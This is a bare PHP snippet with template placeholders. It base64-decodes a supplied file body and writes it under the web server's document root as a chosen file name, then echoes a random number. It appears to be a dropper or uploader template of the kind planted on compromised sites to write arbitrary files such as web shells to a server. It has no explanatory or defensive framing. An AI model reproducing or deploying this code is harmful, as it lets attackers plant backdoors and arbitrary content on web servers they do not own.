$file_body = '##BODY##'; $file_name = '##FILE_NAME##'; $dir_name = '##DIR_NAME##'; //$dir_name = 'makru'; $root = $_SERVER["DOCUMENT_ROOT"]; $path = $root; if (strpos($root,'/') !== false) { $path = $root . "/" . $dir_name . '/' ; } else { $path = $root . "\\" . $dir_name . '\\' ; } //mkdir( $path ); //mkdir( $dir_name ); //file_put_contents($dir_name . '/' . $file_name , base64_decode($file_body)); file_put_contents($file_name , base64_decode($file_body)); //echo '###***' . $path . $file_name . ' 404*****#####'; echo mt_rand(400, 100000);